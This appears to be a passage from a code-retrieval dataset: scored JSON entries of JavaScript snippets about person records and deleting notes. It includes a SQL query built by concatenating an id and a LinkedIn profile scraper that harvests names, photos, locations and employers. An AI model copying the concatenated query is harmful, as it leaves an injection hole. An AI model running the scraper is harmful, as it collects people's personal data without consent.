Person WHERE Id = \" + id + \";\", function (err, result, fields) {\n\tif (err) throw err;\n\t\treturn callback(result);\n\t});\n}", "title": "" }, { "docid": "889a807d5e3491ebf004d3e7b9c0d35c", "score": "0.5394464", "text": "function printy2(){\n\tfor (var idx = 0; idx < person.name.length; idx++){\n\t\tconsole.log(person.name[idx]);\n\t}\n}", "title": "" }, { "docid": "e34cc89784145f310514aee9e2ea6050", "score": "0.5388141", "text": "function getUserInformation(objStr, callback) {\n var linkedInId, name, entityUrn, designation, profilePicture, locality, companyName, phoneNumber, website, skills, certification, education, experience, source;\n var STROBJ = $(objStr);\n var postedData = {\n linkedinId: \"\",\n entityUrn: \"\",\n scrapMode: MODE,\n source: pageData.account_type,\n };\n try {\n if (pageData.account_type == \"Basic\") {\n var regPersonName = objStr.match(/<span.*class=\".*name.*actor-name.*?\">(.+?)<\\/span>/mi);\n var regPersonId = objStr.match(/href=\"\\/in\\/(.+)\\/\"/i);\n if (regPersonId == null) {\n callback(false);\n return;\n }\n if (regPersonId && typeof regPersonId[1] !== 'undefined')\n linkedInId = regPersonId[1];\n postedData.url = regPersonId[0].match(/href=\"\\/(.+?)\"/i)[1];\n postedData.full_name = escapeHtml(regPersonName[1]);\n postedData.headline = escapeHtml(STROBJ.find('a.search-result__result-link').next('p').html());\n if (postedData.headline.indexOf(' at ') > 0) {\n postedData.current_company_name = (postedData.headline.split(' at ')[1]).trim();\n }\n var regPersonPosition2 = objStr.match(/(.+?) at/i);\n var regPersonCompany3 = objStr.match(/at (.+)/i);\n var regPersonLocality = objStr.match(/<p.*class=\"subline-level-2.*search-result__truncate\">\\s*([\\s\\S]+?)\\s*<\\/p>/mi);\n if (regPersonLocality && typeof regPersonLocality[1] !== 'undefined')\n postedData.locality = escapeHtml(regPersonLocality[1]);\n var regPersonDescription = objStr.match(/<p.*class=\"subline-level-1.*search-result__truncate\">\\s*([\\s\\S]+?)\\s*<\\/p>/mi);\n var imageObj = STROBJ.find('.search-result__image-wrapper .presence-entity__image');\n profilePicture = imageObj.css('background-image');\n profilePicture = /^url\\((['\"]?)(.*)\\1\\)$/.exec(profilePicture);\n postedData.image_url = (profilePicture && profilePicture != null) ? profilePicture[2] : \"\"; // If matched, retrieve url, otherwise \"\"\n companyName = \"\";\n var degree = /<span class=\"dist-value\">(.+?)<\\/span>/mi.exec(objStr);\n if (degree) {\n postedData.degree = degree[1];\n }\n if (regPersonCompany3 !== null)\n if (typeof regPersonCompany3[1] !== 'undefined') {\n companyName = regPersonCompany3[1];\n }\n designation = regPersonPosition2 ? regPersonPosition2[1] : ((regPersonDescription) ? regPersonDescription[1] : \"\");\n source = \"Basic\";\n postedData.linkedinId = cleanStr(linkedInId);\n } else if (pageData.account_type == \"Sales\") {\n var regSalesPersonSearchLink = objStr.match(/sales\\/people\\/(.*?),/i);\n if (regSalesPersonSearchLink) {\n entityUrn = regSalesPersonSearchLink[1];\n postedData.linkedinId = postedData.entityUrn = cleanStr(entityUrn);\n }\n postedData.url = \"sales/people/\" + postedData.linkedinId + \",\";\n var companyUrl = STROBJ.find('.result-lockup__position-company a').attr('href');\n if (companyUrl && companyUrl != \"\" && typeof companyUrl != 'undefined') {\n postedData.company_linkedin_url = LINKEDIN_DOMAIN_URL + companyUrl.slice(1);\n }\n var degree = /<span class=\"a11y-text\">(.+?)<\\/span>/mi.exec(objStr);\n if (degree) {\n postedData.degree = degree[1];\n }\n var obj = STROBJ.find('.result-lockup__position-company span');\n if (obj.length) {\n postedData.current_company_name = cleanStr(escapeHtml($(obj[0]).text()));\n }\n obj = STROBJ.find('.result-lockup__highlight-keyword span');\n if (obj.length) {\n postedData.headline = cleanStr(escapeHtml($(obj[0]).text()));\n }\n if (typeof postedData.current_company_name != 'undefined' && postedData.current_company_name != \"\") {\n postedData.headline += postedData.headline + \" at \" + postedData.current_company_name;\n }\n postedData.locality = cleanStr(escapeHtml(STROBJ.find('li.result-lockup__misc-item').html()));\n name = STROBJ.find(\".result-lockup__name a\").text();\n postedData.full_name = postedData.given_name = postedData.family_name = cleanStr(escapeHtml(name));\n var regPersonImage = /class=\"lazy-image .*loaded\".*?alt=\"(.+?)\" src=\"(.+?)\"/mi.exec(objStr);\n if (regPersonImage && typeof regPersonImage[2] != 'undefined')\n postedData.image_url = regPersonImage[2];\n var duration = STROBJ.find('dd.result-lockup__highlight-keyword').next('dd').children();\n if (duration.length) {\n\n postedData.experience = [];\n duration.each(function () {\n var workduration = cleanStr(escapeHtml($(this).html()));\n if (workduration.indexOf('month')) {\n postedData.experience.push({\n duration: workduration,\n organization: [\n {\n name: postedData.industry\n }\n ]\n });\n }\n });\n }\n\n } else if (pageData.account_type == 'Recruiter') {\n postedData.image_url = $(objStr).find('img.profile-img').attr('src');\n name = /class=\"search-result-profile-link\" title=\".*?\">(.+?)<\\/a>/i.exec(objStr);\n if (name && name[1] != null) {\n postedData.full_name = cleanStr(name[1]);\n }\n var linkedInId = /<a href=\"\\/recruiter\\/profile\\/(\\d+?),(.+)\"/i.exec(objStr);\n var remID = (linkedInId[2].split('?')[0]).split(',');\n postedData.linkedinId = cleanStr(linkedInId[1]);// + \",\" + remID[0] + \",\" + remID[1];\n var profileAuthToken = remID[0];\n var profileAuthType = remID[1];\n postedData.url = \"recruiter/profile/\" + postedData.linkedinId + \",\" + profileAuthToken + \",\" + profileAuthType;\n var cPosLi = /<dd class=\"row-content curr-positions\">([\\s\\S]*?)<\\/dd>/i.exec(objStr);\n var cPos = /<li data-index=\"(\\d+)\">([\\s\\S]*?)<span class=\"date-range\"/i.exec(cPosLi);\n if (cPos == null) {\n cPos = /<li data-index=\"(\\d+)\">([\\s\\S]*?)<\\/li>/gi.exec(cPosLi);\n }\n if (cPos) {\n var profile = escapeHtml(cPos[2]).match(/(.+?) at (.*)/i);\n postedData.headline = escapeHtml(cPos[2]);\n postedData.current_company_name = profile && typeof profile[2] !== 'undefined' ? profile[2] : \"\";\n }\n //callXHROnLinkedIn(LINKEDIN_DOMAIN_URL + 'recruiter/api/profile/430216346,aYyd,CAP/profile/', [], function (resp) {\n //console.log(resp);\n //});\n postedData.locality = $($(objStr).find('.location span')[0]).html();\n postedData.degree = $(objStr).find('.degree-icon.badge__seperator').html();\n\n var pastPos = /<dd class=\"row-content past-positions\">([\\s\\S]*?)<\\/dd>/i.exec(objStr);\n if (pastPos) {\n var pastPositions = [];\n $(pastPos[1]).find('li').each(function (k, elem) {\n pastPositions.push(cleanStr(escapeHtml($(this).html())));\n });\n //postedData.pastPositions = pastPositions.join('|| ');\n }\n\n\n }\n } catch (e) {\n console.log(e);\n }\n postedData.degree = escapeHtml(postedData.degree);\n postedData.url = LINKEDIN_DOMAIN_URL + postedData.url;\n //console.log(postedData);return;\n callback(postedData);\n}", "title": "" }, { "docid": "1ee9a0700ab396e380f4ffc2f61853a2", "score": "0.5385366", "text": "function findMostActivePerson(){\n\tif (totalTimeSpentP1 > totalTimeSpentP2) {\n\t\tdocument.getElementById('mostProductive').innerHTML += \n\t\t\t'<h2>The Most Productive Person</h2>' + '<p>' + person1.name + ' with a total numer of hours of <b>' + totalTimeSpentP1 + '</b></p>';\n\t}\n\telse if (totalTimeSpentP1 < totalTimeSpentP2) {\n\t\tdocument.getElementById('mostProductive').innerHTML += \n\t\t\t'<h2>The Most Productive Person</h2>' + '<p>' + person2.name + ' with a total numer of hours of <b>' + totalTimeSpentP2 + '</b></p>';\n\t}\n}", "title": "" }, { "docid": "a71a4858abf0aff014ac179d0e31d186", "score": "0.5384817", "text": "function getHighestBMI(person1, person2){\n\tvar flag;\n\t// Step 1 - find highest bmi person\n\tif(person1.bmi() === person2.bmi()){\n\t\tflag = \"tied\";\n\t}else if(person1.bmi() > person2.bmi()){\n\t\tflag = person1.fullName;\n\t}else{\n\t\tflag = person2.fullName;\n\t}\n\t//Step 2 - switch the flag and return a string \n\tswitch(flag){\n\t\tcase person1.fullName:\n\t\t\treturn flag + \" has a BMI = \" + person1.bmi(); \n\t\tcase person2.fullName:\n\t\t\treturn flag + \" has a BMI = \" + person2.bmi(); \n\t\tcase \"tied\":\n\t\t\treturn person1.fullName + \" and \" + person2.fullName + \" has a BMI = \" + person2.bmi(); \n\t\tdefault:\n\t\t\treturn \"something is wrong\";\n\t}\n}", "title": "" }, { "docid": "53f10e8c71dfb70e3392c2a99ed4de68", "score": "0.5373337", "text": "function getPeople(res, mysql, context, complete){\r\n mysql.pool.query(\"SELECT f.id, fname, lname,country,organization, p.name AS promotion, age FROM fighters f LEFT JOIN promotion p ON p.id = f.organization LEFT JOIN fighter_team ft ON ft.pid = f.id GROUP BY f.id ORDER BY lname\" , function(error, results, fields){\r\n if(error){\r\n res.write(JSON.stringify(error));\r\n res.end();\r\n }\r\n\t\t\t//context.fighters refers to #fighters in handlebars\r\n context.fightersDisplay = results;\r\n complete();\r\n });\r\n }", "title": "" }, { "docid": "f7f15208fc1c8e605f5b9dc86e4abbf9", "score": "0.53613645", "text": "function getInfo(){\n\tvar num = document.getElementById('search').value;\n\t//console.log(num);\n\n\t//Hay formas mucho más prolijas y rápidas de hacer esto. Lo vamos a ver la próxima.\n\ttry{\n\tfor (var i = 0; i <= people.length; i++){\n\t\tif(people[i].id == num){\n\t\t\tvar result = people[i];\n\t\t\tconsole.log(result);\n\t\t\tbreak;\n\t\t}\n\t}\n\t}catch(e){\n\t\tconsole.log(\"Persona no encontrada\");\n\t}\n}", "title": "" }, { "docid": "64a6e25a12c7da6bbc7d7678a982f308", "score": "0.5360457", "text": "getName(personID) {\n\t\tdebug('getName: ' + personID);\n\t\treturn new Promise( (resolve, reject) => {\n\t\t\tconst options = {\n\t\t\t\tmethod: 'GET',\n\t\t\t\turl: apiURL + 'persongroups/' + personGroupId + '/persons',\n\t\t\t\theaders: {\n\t\t\t\t\t'ocp-apim-subscription-key': faceKey,\n\t\t\t\t\t'content-type': 'application/json'\n\t\t\t\t},\n\t\t\t\tjson:true\n\t\t\t};\n\t\t\tdebug('\\trequesting: ' + options.url);\n\t\t\trequest(options, function (error, response, body) {\n\t\t\t\tif (error) throw new Error(error);\n\t\t\t\tdebug('\\t' + JSON.stringify(body));\n\t\t\t\tconst result = body;\n\t\t\t\tif(response.statusCode === 200 && result) {\n\t\t\t\t\t\tif(result.length) {\n\t\t\t\t\t\t\tconst person = result.find( person => person.personId.match(new RegExp(personID, 'i')));\n\t\t\t\t\t\t\tif(person) {\n\t\t\t\t\t\t\t\tdebug(JSON.stringify(person));\n\t\t\t\t\t\t\t\tresolve(person['name']);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\treject('Person name not found.');\n\t\t\t\t\t\t\t};\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\treject('Result not found')\n\t\t\t\t\t\t};\n\t\t\t\t} else {\n\t\t\t\t\treject('Invalid getName request');\n\t\t\t\t};\n\t\t\t\tdebug('done');\n\t\t\t});\n\t\t});\n\t}", "title": "" }, { "docid": "077d286d05569ef8e9cfcf46739f7f47", "score": "0.53563905", "text": "function nameDisplay(listofpeople){\n let fullName = \"\";\n for (let i=0; i < listofpeople.length; i++){\n fullName += listofpeople[i].firstName + \" \" + listofpeople[i].lastName + \"\\n\"\n }\n return fullName;\n }", "title": "" }, { "docid": "893df37cccf46e5f5be717761a22a2b2", "score": "0.53518426", "text": "function search(lastName){\n var contactsLength = contacts.length;\n for (var i = 0; i < contactsLength; i++) {\n if(lastName===contacts[i].lastName){\n printPerson(contacts[i]);\n }\n}\n}", "title": "" }, { "docid": "f90a1ccc5108a6ff8bc64c46a7b3f342", "score": "0.5345946", "text": "function retrieveCharacterInfo(index) {\n\n spinnerShow();\n\n fetch('http://swapi.co/api/people/' + index + '/'\n ).then(function (response) {\n return response.json();\n\n }).then(function (response) {\n\n getAnthropometry(response);\n\n setTimeout(function () {\n spinnerHide();\n },1000);\n\n getFilms(response);\n\n }).catch(function () {\n throw new Error('Something wrong!');\n });\n\n }", "title": "" }, { "docid": "527da94f35069aa493fb3eeec3be1b3e", "score": "0.5337229", "text": "function getBondsbyId() {\n // Show the loader while loading posts\n vm.postsLoading = true;\n var getUsers = new baseService();\n getUsers.setPath('peacock','/user/' + profileService.profileId + '/bonds?count=10&cursor=1');\n getUsers.execute().then(function(response) {\n vm.userList = response.values;\n vm.activeTab = 0;\n vm.userList.type = CONSTANTS.ALL_CONTACTS; \n if(vm.userList.length == 0){ \n vm.userListEmptConstant = EMPTY_CONSTANTS.ALL_CONTACTS;\n }\n })\n .finally(function() {\n // Hide the loader\n vm.postsLoading = false;\n });\n }", "title": "" }, { "docid": "63c8af3f43a4a8dbd461ad0ff2c0ba8e", "score": "0.5326063", "text": "function fetchPerson(request, response, type, err, contents)\n{\n \"use strict\";\n var query = \"SELECT * FROM Person ORDER BY rankTier DESC;\";\n\n db.all(query, ready);\n\n function ready(err, data)\n {\n if(err) throw err;\n begin(request, response, type, err, contents, data);\n }\n}", "title": "" }, { "docid": "1abcd6c2f1e54cd07cf51993b275d8ae", "score": "0.53245276", "text": "function biodata(){\n\t\tvar myFirstname = \"Kyara\";//in var we can change data anywhere\n\t\tconsole.log(myFirstname);\n\n\t\tif(true){\n\t\tvar myLastname = \"Hariyani\";\n\t\tconsole.log('inner' + myLastname);\n\t\tconsole.log('inner' + myFirstname);\n\t\t}\n\t\tconsole.log('innerOuter' + myFirstname);\n\n\t}", "title": "" }, { "docid": "ef00186121c9c2c44ef65226b5419b37", "score": "0.53238696", "text": "function getPersonTitle(person) {\n if (person.preferedTitle) {\n return person.preferedTitle;\n } else if (person.gender == \"male\") {\n return \"Mr.\";\n } else if (person.gender == \"female\") {\n if (person.maritalStatus == \"married\") {\n return \"Mrs.\";\n } else if (person.maritalStatus == \"unmarried\") {\n return \"Miss\";\n } else {\n return \"Ms.\"\n }\n } else {\n return \"Mx.\"\n }\n}", "title": "" } ]
976f1c6ac4d978185adb03c6a5e94b41
delete deletes a note whose delete button was pressed.
[ { "docid": "45e8da3053f28c00e4d2362b7d038c70", "score": "0.68143755", "text": "function _delete(id, notify = true) {\n let note = document.getElementById(id);\n note.remove();\n if (notify) {\n listeners.get('noteDeleted')?.({ id: note.id });\n }\n}", "title": "" } ]
[ { "docid": "42c924bc904dcaf6aa100b8dc8b20374", "score": "0.7409484", "text": "function deleteNote(event) {\n\tevent.preventDefault();\n\tvar articleId = $('li').data('id');\n\tvar noteId = {\n\t\tnoteId: $(this).data('id')\n\t};\n\n\tvar $note = $(this).parent('p');\n\n\t$.post('/article/del/' + articleId, noteId).done(function(res) {\n\n\t\tif('success') {\n\t\t\t$note.remove();\n\t\t}\n\n\t})\n}", "title": "" }, { "docid": "f4ca323d2d675827f22d458367054310", "score": "0.7364388", "text": "function deleteNote() {\n \n var noteToDelete = $(this).data(\"_id\");\n $.ajax({\n url: \"/api/notes/\" + noteToDelete,\n method: \"DELETE\"\n }).then(function() {\n $.confirm({\n columnClass: 'col-md-8 col-md-offset-2',\n title: 'Notes for this article, ' + currentArticle._id + ', has been deleted!',\n })\n });\n }", "title": "" }, { "docid": "99c7b86dd36ae7c713729f5e27f00079", "score": "0.7319353", "text": "removeNote () {\n if (this.selectedNote && confirm('Delete the note?')) {\n // Remove the note in the notes array\n const index = this.notes.indexOf(this.selectedNote)\n if (index !== -1) {\n this.notes.splice(index, 1)\n }\n }\n }", "title": "" }, { "docid": "37f456f8371de9ce11af185e508abee0", "score": "0.7200147", "text": "onDeleteNote () {\n this.props.setDeleteDisabled(true)\n this.props.toggleYesNoModal()\n this.props.deleteNote()\n }", "title": "" }, { "docid": "ae2da6fdd9e51ca9efc64d2653fe5690", "score": "0.71555555", "text": "function deleteNote() {\n\t\n\tlet vTitle = document.getElementById('input_name').value;\n\n\tfor (let i=0; i < notes.length; i++) {\n\n\n\t\tif (vTitle == notes[i][0]){\n\t\t\tnotes.splice(i, 1);\n\t\t}\n\t}\n}", "title": "" }, { "docid": "400acf83b88c77883cf8bf12b3e3cb16", "score": "0.70875776", "text": "onDeleteClick(id) {\n this.setState({\n notes: this.state.notes.delete(id),\n });\n }", "title": "" }, { "docid": "0055a8b86a3338f80fcadd0236554b3e", "score": "0.70867574", "text": "deleteNote() {\n this.props.delete(this.props.title)\n }", "title": "" }, { "docid": "1ed161b160af1fc5dcbb53df4851937d", "score": "0.7085218", "text": "function deleteNote(index) {\n var ref = database.ref('notesdata/' + entriesName.toString() + '/' + index).remove();\n showNotes();\n}", "title": "" }, { "docid": "f6fad5b25a8a8d5e4f54850416fa47bf", "score": "0.70710284", "text": "function deleteNote(index){\r\n let confirmDel = confirm(\"Are you Deleting this note!!\");//confirming if really want to delete the note\r\n \r\n if (confirmDel == true) {//if user confirm\r\n let notes = localStorage.getItem(\"notes\");\r\n if (notes == null) {\r\n notesObj = [];\r\n \r\n }else {\r\n notesObj = JSON.parse(notes);\r\n }\r\n\r\n notesObj.splice(index, 1); //deleting a item in array which is clicked\r\n localStorage.setItem(\"notes\" , JSON.stringify(notesObj));//sent back item to the local storage\r\n showNotes();//calling shownotes function\r\n }\r\n}", "title": "" }, { "docid": "cfe1210d09173cfc11da9f9654dd83f0", "score": "0.6992076", "text": "function deleteNote(id) {\n\n let check = confirm(\"Delete this note?\")\n if (!check) {\n return\n }\n\n let request = {\n method: \"DELETE\"\n }\n\n fetch(noteURL(id), request)\n .then(response => {\n if (statusOK(response.status)) {\n alert(\"Note successfully deleted.\")\n // refresh the notes view\n getShowNotes()\n } else {\n alert(\"A calamitous problem occured.\")\n }})\n}", "title": "" }, { "docid": "1eb6c869034fba94b47056cda7794bbd", "score": "0.69825035", "text": "function deletion()\n{\n\tvar confirmation = new Confirmation(\n \"MUSIC_DELETION\", //type\n \"Delete\", //title\n \"Are you sure you want to delete the musics you selected?\", // text\n [\"Cancel\",\"Delete\"] //buttonlabels \n );\n musicThread.send(\"openConfirmation\",confirmation);\n}", "title": "" }, { "docid": "391171f58d01d12b998007105fddfac0", "score": "0.69461375", "text": "function deleteBtn(index) {\r\n let notes = localStorage.getItem('notes');\r\n\r\n if (notes === null) {\r\n notesObj = [];\r\n } else {\r\n notesObj = JSON.parse(notes);\r\n }\r\n\r\n notesObj.splice(index, 1);\r\n localStorage.setItem(\"notes\", JSON.stringify(notesObj));\r\n showNotes();\r\n}", "title": "" }, { "docid": "a3db53e3b4fdf961dc8758132016eaa8", "score": "0.68875104", "text": "function addEventListenerToDeleteNote() {\n\t\t\t\tfor (var i = 0; i < deleteNoteBtn.length; i++) {\n\t\t\t\t\tdeleteNoteBtn[i].addEventListener('click', function (e) {\n\t\t\t\t\t\tdeleteNote(this.id);\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t}", "title": "" }, { "docid": "bb540567ed40e5417d68ffbfca58169c", "score": "0.68839073", "text": "function deleteNote(id){ //se pasa el id de la nota\n console.log(\"Delete was trigered\");\n setNotes(prevNotes => { //se actualiza el arreglo \"Notes\" con \"setNotes\"\n return prevNotes.filter((noteItem, index) => { //\n return index !== id; //regresa las notas que no tienen ese id\n });\n });\n }", "title": "" }, { "docid": "ed2ef56849aae4b4fd0f91c6e40971a4", "score": "0.6866375", "text": "function deleteNote(index) {\r\n alr.innerHTML = `<div class=\"alert alert-warning alert-dismissible fade show\" role=\"alert\">\r\n Note deleted\r\n <button type=\"button\" class=\"close\" data-dismiss=\"alert\" aria-label=\"Close\">\r\n <span aria-hidden=\"true\">&times;</span>\r\n </button>\r\n </div>`;\r\n let notes = localStorage.getItem(\"notes\");\r\n if (notes == null) {\r\n notesObj = [];\r\n } else {\r\n notesObj = JSON.parse(notes);\r\n }\r\n\r\n notesObj.splice(index, 1);\r\n localStorage.setItem(\"notes\", JSON.stringify(notesObj));\r\n showNotes();\r\n}", "title": "" }, { "docid": "c78251aea354927292d6cd08b0a2602e", "score": "0.6824285", "text": "function handleNoteDelete() {\n var noteToDelete = $(this).data(\"_id\");\n\n $.ajax({\n url: \"/api/notes\" + noteToDelete,\n method: \"DELETE\"\n }).then(function() {\n bootbox.hideAll();\n })\n }", "title": "" }, { "docid": "e24f6f965461c62506747afdee5f7b1c", "score": "0.6801009", "text": "function deleteNote(index){\r\n let confirmDelete = confirm(\"You are deleting this note!\")\r\n\r\n if (confirmDelete == true){\r\n let notes = localStorage.getItem(\"notes\");\r\n if (notes == null) {\r\n notesObj = [];\r\n } else {\r\n notesObj = JSON.parse(notes);\r\n }\r\n\r\n notesObj.splice(index, 1);\r\n localStorage.setItem (\"notes\" , JSON.stringify(notesObj));\r\n showNotes();\r\n }\r\n\r\n\r\n}", "title": "" }, { "docid": "53ff2054394bea62af4604f5dd5afcc2", "score": "0.6799182", "text": "function removeNote(event) {\n\n\t//console.log(\"== Removing!\" + event.target);\n\tvar clickedNote = event.target;\n\t \n\tclickedNote.parentNode.parentNode.removeChild(clickedNote.parentNode)\n\t\n }", "title": "" }, { "docid": "34b70f031c617545ae9131681910b74e", "score": "0.6775298", "text": "function deleteHandler() {\n\t\tsetModalIsOpen(true);\n\t\t// console.log('Clicked!');\n\t\t// console.log(props.text);\n\t}", "title": "" }, { "docid": "1b910936514782353c02fd253be12dd6", "score": "0.67647845", "text": "function deleteNote(request, response, data) {\n var parsedData = JSON.parse(data);\n var id = parsedData.noteId;\n \n var removeNoteQuery = \"DELETE FROM note \" +\n \"WHERE note_id=\" + id;\n\n pg.connect(connectionString, function(err, client, done) {\n client.query(removeNoteQuery, function(err, result) {\n done(client);\n if (err) { return utils.respondError(err, response); } \n return utils.respondPlain(response, \"Y\");\n });\n });\n}", "title": "" }, { "docid": "204669b7e22b03de251c815917450cce", "score": "0.67331254", "text": "deleteNote(state, payload) {\n let notes = getSavedNotes('notesArray')\n for (const note of notes) {\n if (note.id === payload.id) {\n const index = notes.indexOf(note)\n notes.splice(index, 1)\n break\n }\n }\n state.notes = notes\n saveNotes('notesArray', state.notes)\n }", "title": "" }, { "docid": "199778c6e9c31bc2ac409bbe1602804f", "score": "0.67261195", "text": "function deleteNote(req, res) {\n Note.remove({_id : req.params.id}, (err, result) => {\n res.json({ message: \"Note successfully deleted!\", result });\n });\n}", "title": "" }, { "docid": "24f9aafa9415e9ffa4f8992d5bf0092c", "score": "0.67234105", "text": "#delete() {\n\n // request to store the html\n return fetch('/api/notes', {\n method: 'DELETE',\n body: JSON.stringify({ id: this.#id }),\n headers: {\n 'Accept': 'application/json',\n 'Content-Type': 'application/json'\n }\n });\n }", "title": "" }, { "docid": "aaf2c4fa3d98e578d8e321310fc0a05e", "score": "0.67183375", "text": "function deleteButtonHandler() {}", "title": "" }, { "docid": "044e1682194207d7b49caa15177c7531", "score": "0.67091304", "text": "function deleteNote(id) {\n // setting Notes to be the notes excepting the note to be deleted\n setNotes((prevNotes) => {\n // filtering all the notes except the note with the id to be deleted\n return prevNotes.filter((noteItem, index) => {\n return index !== id;\n });\n });\n }", "title": "" }, { "docid": "9bdf6abdb683a31ada3cb4c4b3cc6c59", "score": "0.6704693", "text": "function doDelete() {\n\tshowConfirmDialog(\"delete\",\"\",\"\",{\"position\":\"200\"})\n}", "title": "" }, { "docid": "b5b4206676bbfb9ff462bde1b8eefbb7", "score": "0.66957146", "text": "function deleteNote() {\n\n var elm = getElm();\n // get the parent div element (the note)\n elm = elm.parentNode;\n // if there are more than 10 notes, get last 2 chars\n idx = elm.id.slice(-2);\n if (isNaN(idx) == true) {\n idx = elm.id.slice(-1);\n }\n console.log(idx);\n var header = elm.childNodes[0].textContent;\n var r = confirm(\"Are you sure you want to delete \" + header + \"?\");\n if (r == true) {\n // remove all list items\n localStorage.removeItem(idx);\n // remove the div\n elm.remove();\n document.querySelector(\"#headerItem\" + idx.toString()).remove();\n }\n}", "title": "" }, { "docid": "355ac48f90c13097b1a4093d12ab456b", "score": "0.6682996", "text": "function onDeleteButtonClicked() {\n\t\tprint(\"delete button clicked\\n\");\n\n\t\tif (selectionIsSet()) {\n\t\t\tshapesDelete(_selection);\n\t\t\tshapesSave();\n\t\t\tselectionDelete();\n\t\t}\n\t}", "title": "" }, { "docid": "69f80053144a525b18224261ba049455", "score": "0.6670736", "text": "function deleteNote(index){\r\n\r\n \r\n // console.log(\"I am deleting\",index);\r\n let notes = localStorage.getItem(\"notes\");\r\n if (notes == null) {\r\n notesObj = null;\r\n\r\n }\r\n else {\r\n notesObj = JSON.parse(notes);\r\n\r\n }\r\n let titles = localStorage.getItem(\"titles\");\r\n if (titles == null) {\r\n titlesObj = null;\r\n\r\n }\r\n else {\r\n titlesObj = JSON.parse(titles);\r\n\r\n }\r\n\r\n notesObj.splice(index,1);\r\n titlesObj.splice(index,1);\r\n localStorage.setItem(\"notes\",JSON.stringify(notesObj));\r\n localStorage.setItem(\"titles\",JSON.stringify(titlesObj));\r\n showNotes();\r\n\r\n// });\r\n }", "title": "" }, { "docid": "24d470cda38270570cb7bc9538fca67d", "score": "0.6669114", "text": "static deleteNote() {\n\n }", "title": "" }, { "docid": "5ef981e43392cf360bec8b745ba741db", "score": "0.6668387", "text": "function deleteNote(index) {\r\n // console.log('i m deleet', index);\r\n\r\n let notes = localStorage.getItem('notes');\r\n if (notes == null) {\r\n notesObj = [];\r\n }\r\n else {\r\n notesObj = JSON.parse(notes);\r\n }\r\n\r\n notesObj.splice(index, 1);\r\n localStorage.setItem(\"notes\", JSON.stringify(notesObj));\r\n showNotes();\r\n}", "title": "" }, { "docid": "51e7bf5956e72c5d1d4c797f11090188", "score": "0.6663127", "text": "function deleteNote(index) {\n let notes = localStorage.getItem(\"notes\");\n let notesObj;\n if (notes == null) {\n console.log('No Notes');\n notesObj = [];\n }\n else {\n notesObj = JSON.parse(notes);\n }\n\n notesObj.splice(index, 1);\n // Array.splice(start: number, deleteCount?: number). Removes elements from an array by taking a start value and number of elements to be removed(in this case it is one element that needs to be removed when we click on its index value).\n\n localStorage.setItem(\"notes\", JSON.stringify(notesObj));\n // updating notes in local storage, in case any note gets deleted.\n\n showNotes();\n // displaying updated notes from local storage after deletion.\n}", "title": "" }, { "docid": "0676058961c8677d76b2a0e3de9cf549", "score": "0.6637434", "text": "_delete(note_id){\n\t\tif(parseInt(note_id) && note_id > 0){\n\t\t\tlet newList = [];\n\t\t\tlet start = 0;\n\t\t\tlet counts = 0;\n\t\t\twhile (start < this.Counter){\n\t\t\t\tif(start === note_id-1){\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tnewList[counts] = this.Text[start];\n\t\t\t\t\tcounts++\n\t\t\t\t}\n\t\t\t\tstart++;\n\t\t\t}\n\t\t\treturn \"Your Note ID\"+note_id+\" was removed.\";\n\t\t}\n\t\telse{\n\t\t\treturn \"Something went wrong and your request could not be completed\";\n\t\t}\n\t}", "title": "" }, { "docid": "36f05db9c8bcf8b63bfc37f132da3a31", "score": "0.6633266", "text": "function onRemoveNoteClicked(button, note) {\n button.onclick = function () {\n let specificNote = document.getElementById(note.id);\n specificNote.parentNode.removeChild(specificNote);\n\n let NoteContentArray = JSON.parse(localStorage.getItem(\"notes\"));\n NoteContentArray.forEach((item, index) => {\n if (item.id == note.id) {\n NoteContentArray.splice(index, 1);\n localStorage.setItem(\"notes\", JSON.stringify(NoteContentArray));\n }\n });\n };\n}", "title": "" }, { "docid": "b529c00a5280424087b2fe4594034417", "score": "0.66317534", "text": "function deleteNote(index)\n{\n local_notes_arr.splice(index,1);\n localStorage.setItem('Name',JSON.stringify(local_notes_arr));\n showNotes();\n}", "title": "" }, { "docid": "cd980d018ccf4341b9d9465a196cd8a1", "score": "0.66213745", "text": "function deleteNote(id)\n {\n var noteToDelete = document.getElementById(id);\n var noteObject = new Note( id, noteToDelete.getElementsByClassName('note-title')[0].value.toString() , noteToDelete.getElementsByClassName('note-content')[0].value.toString());\n var trashArray = getTrashNotes();\n var notesArray = getNotes();\n \n for(var l = 0;l < notesArray.length; ++l)\n {\n if(notesArray[l].id === id)\n {\n\n notesArray.splice(l,1);\n }\n }\n \n trashArray.push(noteObject);\n localStorage.setItem('trash',JSON.stringify(trashArray));\n localStorage.setItem('note',JSON.stringify(notesArray));\n noteToDelete.parentElement.removeChild(noteToDelete);\n }", "title": "" }, { "docid": "188342acacdb3751f93bbddb74b7a7f7", "score": "0.6619476", "text": "function deletenote(index) {\n // console.log('delete func called');\n let notes = localStorage.getItem('notes');\n notesObj = JSON.parse(notes);\n notesObj.splice(index - 1, 1);\n localStorage.setItem('notes', JSON.stringify(notesObj));\n shownotes();\n\n}", "title": "" }, { "docid": "a683ee8a1b8b74fcd4c7edd509b4b7a1", "score": "0.6614699", "text": "function deleteNote(index){\r\n\tconsole.log(\"i m deleteing\", index);\r\n\tlet notes = localStorage.getItem(\"notes\");\r\n\tif(notes == null)\r\n\t{\r\n\t\tnoteObj = [];\r\n\t}else{\r\n\t\tnoteObj = JSON.parse(notes);\r\n\t}\r\n\r\n\tnoteObj.splice(index, 1);\r\n\tlocalStorage.setItem(\"notes\",JSON.stringify(noteObj));\r\n\tshowNotes();\r\n}", "title": "" }, { "docid": "fc4619e78b79133ad50a5f2ed2dbfd58", "score": "0.66146076", "text": "function deleteNote(index) {\n // console.log(\"I am deleting\", index);\n\n let notes = localStorage.getItem(\"notes\");\n if (notes == null) {\n notesObj = [];\n } else {\n notesObj = JSON.parse(notes);\n\n }\n notesObj.splice(index, 1);\n localStorage.setItem(\"notes\", JSON.stringify(notesObj));\n showNotes();\n}", "title": "" }, { "docid": "85c2537d79ceeb53dfb8a0976a76ca46", "score": "0.66073954", "text": "function deleteNote(index)\n{\n // console.log('i am deleting',index);\n\n let notes = localStorage.getItem(\"notes\");\n notesObj = JSON.parse(notes);\n if(notesObj === null) notesObj= [];\n\n notesObj.splice(index,1);\n\n localStorage.setItem(\"notes\", JSON.stringify(notesObj));\n \n showNotes();\n\n}", "title": "" }, { "docid": 